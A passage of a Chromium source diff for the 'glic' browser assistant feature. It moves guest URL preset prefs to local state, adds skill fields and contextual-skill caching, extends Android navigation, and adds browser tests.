       "host/glic_api_browsertest.cc",
       "host/guest_util_browsertest.cc",
       "public/glic_enabling_browsertest.cc",
-      "service/glic_instance_coordinator_browsertest.cc",
       "widget/application_hotkey_delegate_browsertest.cc",
     ]
   }
   deps = [
+    ":glic",
+    ":impl",
     "//chrome/browser/background/glic",
     "//chrome/browser/glic/actor",
+    "//chrome/browser/glic/common",
     "//chrome/browser/glic/common:browser_tests",
+    "//chrome/browser/glic/fre",
+    "//chrome/browser/glic/test_support",
+    "//chrome/browser/profiles:profile",
     "//chrome/browser/ui/tabs:tab_list_interface",
+    "//chrome/common:chrome_features",
+    "//chrome/test:test_support",
+    "//components/prefs",
+    "//content/test:test_support",
+    "//third_party/blink/public/common:headers",
+    "//ui/gfx/geometry",
   ]
   if (!is_android) {
     deps += [
@@ -562,13 +573,13 @@
       "//chrome/browser/extensions",
       "//chrome/browser/glic/common",
       "//chrome/browser/glic/common:browser_tests",
-      "//chrome/browser/glic/fre",
       "//chrome/browser/glic/fre:browser_tests",
       "//chrome/browser/glic/test_support",
       "//chrome/browser/permissions:test_support",
       "//chrome/browser/policy:test_support",
       "//chrome/browser/prefs",
       "//chrome/browser/skills",
+      "//chrome/browser/skills:ui",
       "//chrome/browser/subscription_eligibility",
       "//chrome/browser/ui",
       "//chrome/browser/ui:ui_features",
@@ -594,6 +605,10 @@
   if (is_chromeos) {
     deps += [ "//components/account_id:test_support" ]
   }
+
+  if (is_android) {
+    deps += [ "//chrome/test:test_support_ui_android" ]
+  }
   if (use_ozone) {
     deps += [ "//ui/ozone" ]
   }
diff --git a/chrome/browser/glic/android/java/src/org/chromium/chrome/browser/glic/GlicSettings.java b/chrome/browser/glic/android/java/src/org/chromium/chrome/browser/glic/GlicSettings.java
index 1d34144..e0c8c68 100644
--- a/chrome/browser/glic/android/java/src/org/chromium/chrome/browser/glic/GlicSettings.java
+++ b/chrome/browser/glic/android/java/src/org/chromium/chrome/browser/glic/GlicSettings.java
@@ -12,6 +12,7 @@
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.settings.ChromeBaseSettingsFragment;
+import org.chromium.chrome.browser.settings.search.ChromeBaseSearchIndexProvider;
 import org.chromium.components.browser_ui.settings.SettingsFragment;
 import org.chromium.components.browser_ui.settings.SettingsUtils;
 
@@ -36,6 +37,9 @@
         return SettingsFragment.AnimationType.PROPERTY;
     }
 
-    // TODO(alexiswu): Add setting search index.
+    // TODO(crbug.com/480218604): Override #updateDynamicPreferences once the preference is
+    // implemented.
 
+    public static final ChromeBaseSearchIndexProvider SEARCH_INDEX_DATA_PROVIDER =
+            new ChromeBaseSearchIndexProvider(GlicSettings.class.getName(), R.xml.glic_settings);
 }
diff --git a/chrome/browser/glic/browser_ui/glic_iph_controller.cc b/chrome/browser/glic/browser_ui/glic_iph_controller.cc
index 73793b7..6337a09 100644
--- a/chrome/browser/glic/browser_ui/glic_iph_controller.cc
+++ b/chrome/browser/glic/browser_ui/glic_iph_controller.cc
@@ -57,8 +57,7 @@
   }
   auto* const contents = tab->GetContents();
   if (!contents->GetURL().SchemeIsHTTPOrHTTPS() ||
-      contents->GetURL().GetHost() ==
-          GetGuestURL(window_->GetProfile()).GetHost() ||
+      contents->GetURL().GetHost() == GetGuestURL().GetHost() ||
       !contents->IsDocumentOnLoadCompletedInPrimaryMainFrame() ||
       !GlicEnabling::IsEnabledForProfile(window_->GetProfile())) {
     return;
diff --git a/chrome/browser/glic/common/future_browser_features.h b/chrome/browser/glic/common/future_browser_features.h
index d67cd03..d8b9c14 100644
--- a/chrome/browser/glic/common/future_browser_features.h
+++ b/chrome/browser/glic/common/future_browser_features.h
@@ -8,6 +8,7 @@
 #include "base/callback_list.h"
 #include "base/functional/callback.h"
 #include "build/build_config.h"
+#include "chrome/browser/ui/browser_navigator.h"
 #include "chrome/browser/ui/browser_navigator_params.h"
 #include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
 #include "components/tabs/public/tab_interface.h"
@@ -15,7 +16,8 @@
 
 #if !BUILDFLAG(IS_ANDROID)  // NEEDS_ANDROID_IMPL
 #include "chrome/browser/ui/browser.h"
-#include "chrome/browser/ui/browser_navigator.h"
+#else
+#include "chrome/browser/ui/browser_window/public/browser_window_interface_iterator.h"
 #endif
 
 // The intent is to remove functions from this file as things become available
@@ -78,7 +80,6 @@
 #endif
 }
 
-
 inline base::WeakPtr<BrowserWindowInterface> GetBrowserWindowInterfaceWeakPtr(
     BrowserWindowInterface* browser_window) {
 #if !BUILDFLAG(IS_ANDROID)  // NEEDS_ANDROID_IMPL
@@ -93,7 +94,16 @@
 #if !BUILDFLAG(IS_ANDROID)  // NEEDS_ANDROID_IMPL
   return Navigate(params);
 #else
-  return nullptr;
+  BrowserWindowInterface* last_active_browser = nullptr;
+  ForEachCurrentBrowserWindowInterfaceOrderedByActivation(
+      [&](BrowserWindowInterface* browser) {
+        if (browser->GetProfile() == params->initiating_profile) {
+          last_active_browser = browser;
+        }
+        return false;  // stop iterating
+      });
+  params->browser = last_active_browser;
+  return Navigate(params);
 #endif
 }
 
diff --git a/chrome/browser/glic/e2e_test/glic_e2e_test.cc b/chrome/browser/glic/e2e_test/glic_e2e_test.cc
index 4c3b3f3..2b362f4 100644
--- a/chrome/browser/glic/e2e_test/glic_e2e_test.cc
+++ b/chrome/browser/glic/e2e_test/glic_e2e_test.cc
@@ -163,7 +163,7 @@
   LiveTest::PreRunTestOnMainThread();
 
   GURL glic_fre_url = glic::GetFreURL(browser()->profile());
-  GURL glic_guest_url = glic::GetGuestURL(browser()->profile());
+  GURL glic_guest_url = glic::GetGuestURL();
   CHECK(glic_fre_url.is_valid() && glic_guest_url.is_valid())
       << "Incorrect GLiC guest or FRE URL in cmd line arguments.";
 
diff --git a/chrome/browser/glic/e2e_test/internal b/chrome/browser/glic/e2e_test/internal
index 3aa991e..74a446b 160000
--- a/chrome/browser/glic/e2e_test/internal
+++ b/chrome/browser/glic/e2e_test/internal
@@ -1 +1 @@
-Subproject commit 3aa991eb5daf27d4794bfb80def0079b7d1145cb
+Subproject commit 74a446bfcf19fd1415cc201db105d5d3ccb7d3b8
diff --git a/chrome/browser/glic/glic_metrics_browsertest.cc b/chrome/browser/glic/glic_metrics_browsertest.cc
index e24d78dc..8b7a968 100644
--- a/chrome/browser/glic/glic_metrics_browsertest.cc
+++ b/chrome/browser/glic/glic_metrics_browsertest.cc
@@ -57,7 +57,7 @@
 #if BUILDFLAG(IS_LINUX)
   // TODO(crbug.com/475900964): Test fails when capturing
   // Glic.Fre.Dismissed.Onboarding user action.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP() << "Test failing on Wayland: crbug.com/475900964";
   }
 #endif
diff --git a/chrome/browser/glic/glic_pref_names.cc b/chrome/browser/glic/glic_pref_names.cc
index 3dab6c85..5a522c66 100644
--- a/chrome/browser/glic/glic_pref_names.cc
+++ b/chrome/browser/glic/glic_pref_names.cc
@@ -65,10 +65,6 @@
   registry->RegisterListPref(prefs::kGlicActuationOnWebBlockedForURLs);
 
   registry->RegisterBooleanPref(prefs::kGlicUserEnabledActuationOnWeb, false);
-
-  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetAutopush, "");
-  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetPreprod, "");
-  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetProd, "");
 }
 
 void RegisterLocalStatePrefs(PrefRegistrySimple* registry) {
@@ -84,6 +80,9 @@
               LocalHotkeyManager::Hotkey::kFocusToggle)));
   registry->RegisterBooleanPref(
       prefs::kGlicMultiInstanceEnabledBySubscriptionTier, false);
+  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetAutopush, "");
+  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetPreprod, "");
+  registry->RegisterStringPref(prefs::kGlicGuestUrlPresetProd, "");
 }
 
 }  // namespace glic::prefs
diff --git a/chrome/browser/glic/glic_pref_names.h b/chrome/browser/glic/glic_pref_names.h
index 271e5cf..93620e2 100644
--- a/chrome/browser/glic/glic_pref_names.h
+++ b/chrome/browser/glic/glic_pref_names.h
@@ -33,6 +33,14 @@
 inline constexpr char kGlicMultiInstanceEnabledBySubscriptionTier[] =
     "glic.multi_instance_enabled_by_tier";
 
+// String prefs that keep track of user-configured Glic guest URL presets for
+// different environments.
+inline constexpr char kGlicGuestUrlPresetAutopush[] =
+    "glic.guest_url_preset_autopush";
+inline constexpr char kGlicGuestUrlPresetPreprod[] =
+    "glic.guest_url_preset_preprod";
+inline constexpr char kGlicGuestUrlPresetProd[] = "glic.guest_url_preset_prod";
+
 // ************* PROFILE PREFS ***************
 // Prefs below are tied to a user profile
 
@@ -128,12 +136,6 @@
 inline constexpr char kGlicUserEnabledActuationOnWeb[] =
     "glic.user_enabled_actuation_on_web";
 
-inline constexpr char kGlicGuestUrlPresetAutopush[] =
-    "glic.guest_url_preset_autopush";
-inline constexpr char kGlicGuestUrlPresetPreprod[] =
-    "glic.guest_url_preset_preprod";
-inline constexpr char kGlicGuestUrlPresetProd[] = "glic.guest_url_preset_prod";
-
 void RegisterProfilePrefs(user_prefs::PrefRegistrySyncable* registry);
 void RegisterLocalStatePrefs(PrefRegistrySimple* registry);
 
diff --git a/chrome/browser/glic/glic_tab_restore_helper_browsertest.cc b/chrome/browser/glic/glic_tab_restore_helper_browsertest.cc
index 1653172f..79a70f4 100644
--- a/chrome/browser/glic/glic_tab_restore_helper_browsertest.cc
+++ b/chrome/browser/glic/glic_tab_restore_helper_browsertest.cc
@@ -94,6 +94,10 @@
   EXPECT_EQ(state.bound_instance.conversation_id, conversation_id);
   ASSERT_EQ(state.pinned_instances.size(), 1u);
   EXPECT_EQ(state.pinned_instances[0].instance_id, pinned_instance_id_str);
+
+  // Clean up to avoid dangling pointers since mock instances are on the stack.
+  helper->SetBoundInstance(nullptr);
+  helper->OnUnpinnedByInstance(&pinned_instance);
 }
 
 }  // namespace
diff --git a/chrome/browser/glic/host/auth_controller.cc b/chrome/browser/glic/host/auth_controller.cc
index f5ed157..78f9249 100644
--- a/chrome/browser/glic/host/auth_controller.cc
+++ b/chrome/browser/glic/host/auth_controller.cc
@@ -15,6 +15,7 @@
 #include "components/signin/public/base/consent_level.h"
 #include "components/signin/public/base/signin_metrics.h"
 #include "google_apis/gaia/gaia_auth_util.h"
+#include "mojo/public/cpp/bindings/callback_helpers.h"
 
 namespace glic {
 
@@ -68,6 +69,9 @@
 
 void AuthController::CheckAuthBeforeLoad(
     base::OnceCallback<void(mojom::PrepareForClientResult)> callback) {
+  callback = mojo::WrapCallbackWithDefaultInvokeIfNotRun(
+      std::move(callback),
+      mojom::PrepareForClientResult::kErrorResyncingCookies);
   // If automation is enabled skip auth check.
   if (IsAutomationEnabled()) {
     base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
diff --git a/chrome/browser/glic/host/context/glic_delegating_sharing_manager_browsertest.cc b/chrome/browser/glic/host/context/glic_delegating_sharing_manager_browsertest.cc
index 2812886..24bc6edd 100644
--- a/chrome/browser/glic/host/context/glic_delegating_sharing_manager_browsertest.cc
+++ b/chrome/browser/glic/host/context/glic_delegating_sharing_manager_browsertest.cc
@@ -5,7 +5,12 @@
 #include "chrome/browser/glic/host/context/glic_delegating_sharing_manager.h"
 
 #include "base/test/bind.h"
+#include "base/test/gtest_util.h"
 #include "base/test/test_future.h"
+#include "chrome/browser/glic/host/context/glic_empty_focused_browser_manager.h"
+#include "chrome/browser/glic/host/context/glic_empty_focused_tab_manager.h"
+#include "chrome/browser/glic/host/context/glic_empty_pinned_tab_manager.h"
+#include "chrome/browser/glic/host/context/glic_sharing_manager_impl.h"
 #include "chrome/browser/glic/host/glic_features.mojom-features.h"
 #include "chrome/browser/glic/public/context/glic_sharing_manager.h"
 #include "chrome/browser/glic/public/glic_keyed_service.h"
@@ -535,5 +540,59 @@
                                             handles[1].Get()->GetContents()));
 }
 
+class GlicStablePinningDelegatingSharingManagerBrowserTest
+    : public NonInteractiveGlicTest {
+ public:
+  GlicStablePinningDelegatingSharingManagerBrowserTest() {
+    scoped_feature_list_.InitWithFeatures(
+        {features::kGlic, features::kGlicMultiInstance,
+         mojom::features::kGlicMultiTab, features::kGlicMultitabUnderlines},
+        {});
+  }
+
+  std::unique_ptr<GlicSharingManagerImpl> CreateSharingManager(
+      GlicPinnedTabManager* pinned_tab_manager) {
+    return std::make_unique<GlicSharingManagerImpl>(
+        std::make_unique<GlicEmptyFocusedTabManager>(),
+        std::make_unique<GlicEmptyFocusedBrowserManager>(), pinned_tab_manager,
+        browser()->profile(), /*metrics=*/nullptr);
+  }
+
+ private:
+  base::test::ScopedFeatureList scoped_feature_list_;
+};
+
+// TODO(b:479854184): make this work on Android.
+#if !BUILDFLAG(IS_ANDROID)
+IN_PROC_BROWSER_TEST_F(GlicStablePinningDelegatingSharingManagerBrowserTest,
+                       StablePinningDelegateSwap) {
+  // Subclass to access protected members for verification.
+  class TestStableManager : public GlicStablePinningDelegatingSharingManager {
+   public:
+    using GlicDelegatingSharingManagerBase::GetDelegate;
+    using GlicStablePinningDelegatingSharingManager::
+        GlicStablePinningDelegatingSharingManager;
+  };
+
+  GlicEmptyPinnedTabManager pinned_mgr1;
+  GlicEmptyPinnedTabManager pinned_mgr2;
+
+  auto manager1 = CreateSharingManager(&pinned_mgr1);
+  auto manager3 = CreateSharingManager(&pinned_mgr1);
+
+  // Note: manager2 has a different pinned tab manager.
+  auto manager2 = CreateSharingManager(&pinned_mgr2);
+
+  TestStableManager stable_manager(manager1.get());
+
+  // Swapping to manager3 should succeed (same pinned manager).
+  stable_manager.SetDelegate(manager3.get());
+  EXPECT_EQ(stable_manager.GetDelegate(), manager3.get());
+
+  // Swapping to manager2 should crash (different pinned manager).
+  EXPECT_CHECK_DEATH(stable_manager.SetDelegate(manager2.get()));
+}
+#endif  // !BUILDFLAG(IS_ANDROID)
+
 }  // namespace
 }  // namespace glic
diff --git a/chrome/browser/glic/host/glic.mojom b/chrome/browser/glic/host/glic.mojom
index 9df889e..9e08eb6 100644
--- a/chrome/browser/glic/host/glic.mojom
+++ b/chrome/browser/glic/host/glic.mojom
@@ -640,8 +640,18 @@
 
 // Request to create a skill.
 struct CreateSkillRequest {
+  // The unique identifier of the skill which is an UUID.
+  string id;
+  // The name of the skill.
+  string name;
+  // The icon of the skill, which is an emoji.
+  string icon;
+  // The source of the skill.
+  SkillSource source;
   // A prompt for the skill which can be an empty string.
   string prompt;
+  // The description of the skill.
+  string description;
 };
 
 // Request to update a skill.
diff --git a/chrome/browser/glic/host/glic_actor_task_management_interactive_uitest.cc b/chrome/browser/glic/host/glic_actor_task_management_interactive_uitest.cc
index ca4cc9ef..cffc4471 100644
--- a/chrome/browser/glic/host/glic_actor_task_management_interactive_uitest.cc
+++ b/chrome/browser/glic/host/glic_actor_task_management_interactive_uitest.cc
@@ -378,7 +378,7 @@
 #if BUILDFLAG(IS_LINUX)
   // TODO(crbug.com/466748978): The test flakily times out when trying to focus
   // the other tab on linux-wayland-mutter.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP() << "Flaky on wayland crbug.com/466748978";
   }
 #endif
diff --git a/chrome/browser/glic/host/glic_actor_window_management_tool_interactive_uitest.cc b/chrome/browser/glic/host/glic_actor_window_management_tool_interactive_uitest.cc
index cc1c29f..2e223537 100644
--- a/chrome/browser/glic/host/glic_actor_window_management_tool_interactive_uitest.cc
+++ b/chrome/browser/glic/host/glic_actor_window_management_tool_interactive_uitest.cc
@@ -82,7 +82,7 @@
   DEFINE_LOCAL_ELEMENT_IDENTIFIER_VALUE(kNewActorTabId);
 
 #if BUILDFLAG(IS_LINUX) && BUILDFLAG(IS_OZONE)
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP() << "Programmatic window activation doesn't work on wayland and"
                  << "this test checks window activation.";
   }
diff --git a/chrome/browser/glic/host/glic_api_browsertest.cc b/chrome/browser/glic/host/glic_api_browsertest.cc
index fcd5d7c2..afcad05 100644
--- a/chrome/browser/glic/host/glic_api_browsertest.cc
+++ b/chrome/browser/glic/host/glic_api_browsertest.cc
@@ -76,6 +76,8 @@
 #include "chrome/browser/signin/identity_manager_factory.h"
 #include "chrome/browser/signin/identity_test_environment_profile_adaptor.h"
 #include "chrome/browser/skills/skills_service_factory.h"
+#include "chrome/browser/skills/skills_ui_tab_controller.h"
+#include "chrome/browser/skills/skills_ui_tab_controller_interface.h"
 #include "chrome/browser/ui/browser.h"
 #include "chrome/browser/ui/browser_navigator.h"
 #include "chrome/browser/ui/chrome_pages.h"
@@ -3815,6 +3817,23 @@
   ExecuteJsTest();
 }
 
+IN_PROC_BROWSER_TEST_P(GlicApiTestWithSkills, testDisplaySkillInDialogSuccess) {
+  ExecuteJsTest();
+  ASSERT_TRUE(base::test::RunUntil([&]() {
+    tabs::TabInterface* tab =
+        InProcessBrowserTest::browser()->tab_strip_model()->GetActiveTab();
+    auto* controller = static_cast<skills::SkillsUiTabController*>(
+        skills::SkillsUiTabControllerInterface::From(tab));
+    if (controller && controller->IsShowing()) {
+      const auto& skill = controller->GetCurrentSkillForTesting();
+      return skill.has_value() && skill->id == "id" && skill->name == "name" &&
+             skill->icon == "icon" && skill->prompt == "prompt" &&
+             skill->source == sync_pb::SkillSource::SKILL_SOURCE_FIRST_PARTY;
+    }
+    return false;
+  }));
+}
+
 IN_PROC_BROWSER_TEST_P(GlicApiTestWithSkills, testShowManageSkillsUi) {
   ExecuteJsTest();
   ASSERT_TRUE(base::test::RunUntil([&]() {
diff --git a/chrome/browser/glic/host/glic_page_handler.cc b/chrome/browser/glic/host/glic_page_handler.cc
index eed9194b..5d52314 100644
--- a/chrome/browser/glic/host/glic_page_handler.cc
+++ b/chrome/browser/glic/host/glic_page_handler.cc
@@ -209,6 +209,17 @@
                                   ToMojomSkillSource(skill->source),
                                   skill->description);
 }
+
+sync_pb::SkillSource FromMojomSkillSource(mojom::SkillSource source) {
+  switch (source) {
+    case mojom::SkillSource::kUnknown:
+      return sync_pb::SkillSource::SKILL_SOURCE_UNKNOWN;
+    case mojom::SkillSource::kFirstParty:
+      return sync_pb::SkillSource::SKILL_SOURCE_FIRST_PARTY;
+    case mojom::SkillSource::kUserCreated:
+      return sync_pb::SkillSource::SKILL_SOURCE_USER_CREATED;
+  }
+}
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 // Monitors the panel state and the browser widget state. Emits an event any
@@ -1340,10 +1351,15 @@
           "CreateSkill cannot be called without Skills enabled.");
       return;
     }
-    // Pass empty strings for id, name, and icon.
-    skills::Skill skill(/*id=*/"",
-                        /*name=*/"",
-                        /*icon=*/"", request->prompt);
+    // There are three scenarios:
+    // 1. Users click the + button in the / menu: no field is set.
+    // 2. Users click the save as a skill button: only prompt is set.
+    // 3. Users edit a 1P skill: all fields are set.
+    // TODO(https://crbug.com/479950619): consider using mojom source enum
+    // directly in skills::Skill..
+    skills::Skill skill(request->id, request->name, request->icon,
+                        request->prompt, request->description,
+                        FromMojomSkillSource(request->source));
     host().skills_manager().LaunchSkillsDialog(profile_, std::move(skill),
                                                std::move(scoped_callback));
 #else
@@ -2298,6 +2314,11 @@
 // NEEDS_ANDROID_IMPL: (crbug.com/477622144) Remove desktop-only restrictions
 // from Skills backend.
 #if !BUILDFLAG(IS_ANDROID)
+    glic::mojom::SkillPtr contextual_skill =
+        host().skills_manager().GetContextualSkill(skill_id);
+    if (contextual_skill) {
+      return contextual_skill;
+    }
     if (!skills_service_) {
       return nullptr;
     }
@@ -2510,17 +2531,16 @@
       browser_context_, GetGlicService()->actor_policy_checker());
 
   mojom::ConfigInfoPtr config = mojom::ConfigInfo::New();
-  Profile* profile = Profile::FromBrowserContext(browser_context_);
-  config->guest_url = GetGuestURL(profile);
-  config->fre_guest_url = GetFreURL(profile);
+  config->guest_url = GetGuestURL();
+  config->fre_guest_url =
+      GetFreURL(Profile::FromBrowserContext(browser_context_));
 
-  PrefService* prefs = profile->GetPrefs();
-  config->autopush_guest_url =
-      GURL(prefs->GetString(prefs::kGlicGuestUrlPresetAutopush));
-  config->preprod_guest_url =
-      GURL(prefs->GetString(prefs::kGlicGuestUrlPresetPreprod));
-  config->prod_guest_url =
-      GURL(prefs->GetString(prefs::kGlicGuestUrlPresetProd));
+  config->autopush_guest_url = GURL(g_browser_process->local_state()->GetString(
+      prefs::kGlicGuestUrlPresetAutopush));
+  config->preprod_guest_url = GURL(g_browser_process->local_state()->GetString(
+      prefs::kGlicGuestUrlPresetPreprod));
+  config->prod_guest_url = GURL(g_browser_process->local_state()->GetString(
+      prefs::kGlicGuestUrlPresetProd));
 
   payload->config = std::move(config);
 
@@ -2530,11 +2550,12 @@
 void GlicPageHandler::SetGuestUrlPresets(const GURL& autopush_url,
                                          const GURL& preprod_url,
                                          const GURL& prod_url) {
-  PrefService* prefs =
-      Profile::FromBrowserContext(browser_context_)->GetPrefs();
-  prefs->SetString(prefs::kGlicGuestUrlPresetAutopush, autopush_url.spec());
-  prefs->SetString(prefs::kGlicGuestUrlPresetPreprod, preprod_url.spec());
-  prefs->SetString(prefs::kGlicGuestUrlPresetProd, prod_url.spec());
+  g_browser_process->local_state()->SetString(
+      prefs::kGlicGuestUrlPresetAutopush, autopush_url.spec());
+  g_browser_process->local_state()->SetString(prefs::kGlicGuestUrlPresetPreprod,
+                                              preprod_url.spec());
+  g_browser_process->local_state()->SetString(prefs::kGlicGuestUrlPresetProd,
+                                              prod_url.spec());
 }
 
 void GlicPageHandler::PanelStateChanged(
diff --git a/chrome/browser/glic/host/glic_skills_manager.h b/chrome/browser/glic/host/glic_skills_manager.h
index c9ca88d9e..0463a151 100644
--- a/chrome/browser/glic/host/glic_skills_manager.h
+++ b/chrome/browser/glic/host/glic_skills_manager.h
@@ -8,6 +8,7 @@
 #include <optional>
 
 #include "base/functional/callback_forward.h"
+#include "chrome/browser/glic/host/glic.mojom.h"
 
 namespace tabs {
 class TabInterface;
@@ -40,6 +41,10 @@
   virtual void LaunchSkillsDialog(Profile* profile,
                                   skills::Skill skill,
                                   base::OnceCallback<void(bool)> callback) = 0;
+
+  // Get a contextual skill for the given tab.
+  virtual glic::mojom::SkillPtr GetContextualSkill(
+      std::string_view skill_id) = 0;
 };
 
 }  // namespace glic
diff --git a/chrome/browser/glic/host/glic_skills_manager_impl.cc b/chrome/browser/glic/host/glic_skills_manager_impl.cc
index 8ea404d8..cda058983 100644
--- a/chrome/browser/glic/host/glic_skills_manager_impl.cc
+++ b/chrome/browser/glic/host/glic_skills_manager_impl.cc
@@ -44,7 +44,17 @@
   if (!observer) {
     return;
   }
-  host_->NotifyContextualSkillsChanged(observer->GetContextualSkills());
+  auto new_contextual_skills = observer->GetContextualSkills();
+  if (mojo::Equals(contextual_skills_, new_contextual_skills)) {
+    return;
+  }
+  contextual_skills_ = std::move(new_contextual_skills);
+
+  std::vector<mojom::SkillPreviewPtr> skill_previews;
+  for (const auto& skill : contextual_skills_) {
+    skill_previews.push_back(skill->preview.Clone());
+  }
+  host_->NotifyContextualSkillsChanged(std::move(skill_previews));
 }
 
 tabs::TabInterface* GlicSkillsManagerImpl::EnsureTabForSkills() {
@@ -99,4 +109,14 @@
   }
 }
 
+glic::mojom::SkillPtr GlicSkillsManagerImpl::GetContextualSkill(
+    std::string_view skill_id) {
+  for (const auto& skill : contextual_skills_) {
+    if (skill->preview->id == skill_id) {
+      return skill.Clone();
+    }
+  }
+  return nullptr;
+}
+
 }  // namespace glic
diff --git a/chrome/browser/glic/host/glic_skills_manager_impl.h b/chrome/browser/glic/host/glic_skills_manager_impl.h
index c03ffcb..7ce4c90 100644
--- a/chrome/browser/glic/host/glic_skills_manager_impl.h
+++ b/chrome/browser/glic/host/glic_skills_manager_impl.h
@@ -42,6 +42,8 @@
                           skills::Skill skill,
                           base::OnceCallback<void(bool)> callback) override;
 
+  glic::mojom::SkillPtr GetContextualSkill(std::string_view skill_id) override;
+
  private:
   tabs::TabInterface* EnsureTabForSkills();
 
@@ -60,6 +62,11 @@
   // Used for observer WebUI state changes; this can also trigger updates.
   base::ScopedObservation<Host, Host::Observer> host_observation_{this};
 
+  // A cache of the contextual skills for the focused tab. When the user runs a
+  // skill, Glic retrieves the skill from this cache and sends it to the web
+  // client.
+  std::vector<glic::mojom::SkillPtr> contextual_skills_;
+
   base::WeakPtrFactory<GlicSkillsManagerImpl> weak_ptr_factory_{this};
 };
 
diff --git a/chrome/browser/glic/host/glic_ui.cc b/chrome/browser/glic/host/glic_ui.cc
index 4bffcfc8..fa459e0 100644
--- a/chrome/browser/glic/host/glic_ui.cc
+++ b/chrome/browser/glic/host/glic_ui.cc
@@ -185,10 +185,8 @@
   source->AddBoolean("loggingEnabled",
                      command_line->HasSwitch(::switches::kGlicHostLogging));
 
-  auto* profile = Profile::FromBrowserContext(browser_context);
-
   // Set up guest URL via cli flag or default to finch param value.
-  const GURL guest_url = GetGuestURL(profile);
+  const GURL guest_url = GetGuestURL();
   source->AddString("glicGuestURL", guest_url.spec());
   net_log::LogDummyNetworkRequestForTrafficAnnotation(guest_url,
                                                       net_log::GlicPage::kGlic);
@@ -211,6 +209,7 @@
   }
 
   // Allow corp origins for @google accounts.
+  auto* profile = Profile::FromBrowserContext(browser_context);
   signin::IdentityManager* identity_manager =
       IdentityManagerFactory::GetForProfile(profile);
   if (identity_manager && IsPrimaryAccountGoogleInternal(*identity_manager)) {
diff --git a/chrome/browser/glic/host/guest_util.cc b/chrome/browser/glic/host/guest_util.cc
index 06522965..4df0077 100644
--- a/chrome/browser/glic/host/guest_util.cc
+++ b/chrome/browser/glic/host/guest_util.cc
@@ -66,11 +66,9 @@
     content::RenderFrameHost* frame = handle->GetRenderFrameHost();
     mojo::AssociatedRemote<blink::mojom::AutoplayConfigurationClient> client;
     frame->GetRemoteAssociatedInterfaces()->GetInterface(&client);
-    Profile* profile =
-        Profile::FromBrowserContext(web_contents()->GetBrowserContext());
-    client->AddAutoplayFlags(GetGuestOrigin(profile),
+    client->AddAutoplayFlags(GetGuestOrigin(),
                              blink::mojom::kAutoplayFlagForceAllow);
-    VLOG(1) << "Granted Glic AutoPlay for origin=\"" << GetGuestOrigin(profile)
+    VLOG(1) << "Granted Glic AutoPlay for origin=\"" << GetGuestOrigin()
             << "\" at " << (handle->IsInPrimaryMainFrame() ? "main " : "")
             << "RFH with url=\"" << handle->GetURL() << "\"";
     base::UmaHistogramEnumeration(
@@ -83,7 +81,7 @@
 
 }  // namespace
 
-GURL GetGuestURL(Profile* profile) {
+GURL GetGuestURL() {
   auto* command_line = base::CommandLine::ForCurrentProcess();
   bool has_glic_guest_url = command_line->HasSwitch(::switches::kGlicGuestURL);
   GURL url =
@@ -92,7 +90,7 @@
                : features::kGlicGuestURL.Get());
 
   // If a preset url is enabled, use it instead.
-  MaybeApplyPresetGuestUrl(&url, profile);
+  url = MaybeApplyPresetGuestUrl(std::move(url));
 
   if (url.is_empty()) {
     LOG(ERROR) << "No glic guest url";
@@ -104,35 +102,38 @@
   return GetLocalizedGuestURL(url);
 }
 
-url::Origin GetGuestOrigin(Profile* profile) {
-  return url::Origin::Create(GetGuestURL(profile));
+url::Origin GetGuestOrigin() {
+  return url::Origin::Create(GetGuestURL());
 }
 
-void MaybeApplyPresetGuestUrl(GURL* guest_url, Profile* profile) {
-  if (base::FeatureList::IsEnabled(features::kGlicGuestUrlPresets)) {
-    GURL preset_url;
-    switch (features::kGlicGuestUrlPresetType.Get()) {
-      case 0:
-        preset_url = GURL(
-            profile->GetPrefs()->GetString(prefs::kGlicGuestUrlPresetAutopush));
-        break;
-      case 1:
-        preset_url = GURL(
-            profile->GetPrefs()->GetString(prefs::kGlicGuestUrlPresetPreprod));
-        break;
-      case 2:
-        preset_url = GURL(
-            profile->GetPrefs()->GetString(prefs::kGlicGuestUrlPresetProd));
-        break;
-      default:
-        return;
-    }
+GURL MaybeApplyPresetGuestUrl(GURL guest_url) {
+  if (!base::FeatureList::IsEnabled(features::kGlicGuestUrlPresets)) {
+    return guest_url;
+  }
 
-    if (preset_url.is_valid()) {
-      *guest_url = preset_url;
-    } else {
-      LOG(ERROR) << "Invalid preset glic guest url, ignoring.";
-    }
+  GURL preset_url;
+  switch (features::kGlicGuestUrlPresetType.Get()) {
+    case 0:
+      preset_url = GURL(g_browser_process->local_state()->GetString(
+          prefs::kGlicGuestUrlPresetAutopush));
+      break;
+    case 1:
+      preset_url = GURL(g_browser_process->local_state()->GetString(
+          prefs::kGlicGuestUrlPresetPreprod));
+      break;
+    case 2:
+      preset_url = GURL(g_browser_process->local_state()->GetString(
+          prefs::kGlicGuestUrlPresetProd));
+      break;
+    default:
+      return guest_url;
+  }
+
+  if (preset_url.is_valid()) {
+    return preset_url;
+  } else {
+    LOG(ERROR) << "Invalid preset glic guest url, ignoring.";
+    return guest_url;
   }
 }
 
diff --git a/chrome/browser/glic/host/guest_util.h b/chrome/browser/glic/host/guest_util.h
index e3d7ea00..d1cc953 100644
--- a/chrome/browser/glic/host/guest_util.h
+++ b/chrome/browser/glic/host/guest_util.h
@@ -13,18 +13,17 @@
 class WebContents;
 }
 
-class Profile;
-
 namespace glic {
 
 BASE_DECLARE_FEATURE(kGlicGuestUrlMultiInstanceParam);
 
 // Returns the URL/origin from where the guest web client will be loaded from.
-GURL GetGuestURL(Profile* profile);
-url::Origin GetGuestOrigin(Profile* profile);
+GURL GetGuestURL();
+url::Origin GetGuestOrigin();
 
